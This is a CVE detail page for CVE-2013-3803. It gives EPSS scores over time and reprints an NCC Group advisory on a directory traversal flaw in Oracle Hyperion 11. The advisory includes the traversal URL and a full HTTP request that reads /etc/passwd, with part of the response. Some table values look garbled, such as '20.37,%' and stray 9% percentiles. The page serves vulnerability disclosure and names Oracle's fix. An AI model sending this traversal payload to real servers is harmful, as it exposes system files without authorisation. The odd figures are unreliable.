CVE-2013-3803 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	8.13%	–	–
2022-04-03	–	–	8.13%	–	–
2022-12-25	–	–	7.48%	–	–
2023-01-01	–	–	7.48%	–	–
2023-02-26	–	–	7.48%	–	–
2023-03-12	–	–	–	1.35%	–
2023-04-16	–	–	–	1.48%	–
2023-06-04	–	–	–	2.67%	–
2023-07-16	–	–	–	3.58%	–
2023-09-17	–	–	–	3.58%	–
2023-09-24	–	–	–	3.58%	–
2023-10-08	–	–	–	3.58%	–
2023-10-22	–	–	–	3.37%	–
2023-12-10	–	–	–	2.69%	–
2024-02-04	–	–	–	2.28%	–
2024-06-02	–	–	–	2.28%	–
2024-06-02	–	–	–	2.28%	–
2024-08-11	–	–	–	3.19%	–
2024-11-24	–	–	–	3.19%	–
2024-12-22	–	–	–	3.79%	–
2025-01-19	–	–	–	3.79%	–
2025-03-18	–	–	–	–	20.37%
2025-03-18	–	–	–	–	20.37,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	82%
2022-04-03	93%
2022-12-25	93%
2023-01-01	92%
2023-02-26	93%
2023-03-12	84%
2023-04-16	85%
2023-06-04	89%
2023-07-16	9%
2023-09-17	91%
2023-09-24	9%
2023-10-08	91%
2023-10-22	9%
2023-12-10	89%
2024-02-04	89%
2024-06-02	9%
2024-06-02	9%
2024-08-11	91%
2024-11-24	92%
2024-12-22	92%
2025-01-19	92%
2025-03-18	95%
2025-03-18	95%

======= Summary ======= Name: Oracle Hyperion 11 - Directory Traversal Release Date: 30 July 2013 Reference: NGS00434 Discoverer: Richard Warren <richard.warren@nccgroup.com> Vendor: Oracle Vendor Reference: S0318807 Systems Affected: Oracle Hyperion 11.1.1.3, 11.1.1.4.107 and earlier, 11.1.2.1.129 and earlier, and 11.1.2.2.305 and earlier Risk: High Status: Published ======== TimeLine ======== Discovered: 20 November 2012 Released: 20 November 2012 Approved: 20 November 2012 Reported: 20 November 2012 Fixed: 16 July 2013 Published: 30 July 2013 =========== Description =========== Product: Oracle Application: Hyperion Version: 11.x Vulnerability ------------- The application was found to be vulnerable to a directory traversal attack. The following URL resulted in directory transversal. http://localhost:19000/raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../LFI_HERE ================= Technical Details ================= Exploitation ------------ The following request/response was observed: GET /raframework/ihtml/GetResource?DocUUID=00000122ad09cf47-0000-d521-0aeaf211&DocInstanceID=1&ResourceName=../../../../../../../../../../../../../../../../etc/passwd HTTP/1.0 HTTP/1.1 200 OK Date: Mon, 12 Nov 2012 15:28:10 GMT Server: Oracle-Application-Server-11g Cache-Control: no-cache Pragma: no-cache Expires: Mon, 1 Jan 1990 00:00:00 GMT Last-Modified: Mon, 12 Nov 2012 15:28:10 GMT X-ORACLE-DMS-ECID: 004n^rmuJTjAtH^5lV5EiZ0004FS0058zX X-Powered-By: Servlet/2.5 JSP/2.1 Connection: close Content-Type: text/plain Content-Language: en root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin --SNIP-- =============== Fix Information =============== Fixed in Oracle CPU July 2013: http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html Assigned CVE-2013-3803 NCC Group Research http://www.nccgroup.com/research For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br> This email message has been delivered safely and archived online by Mimecast. </a>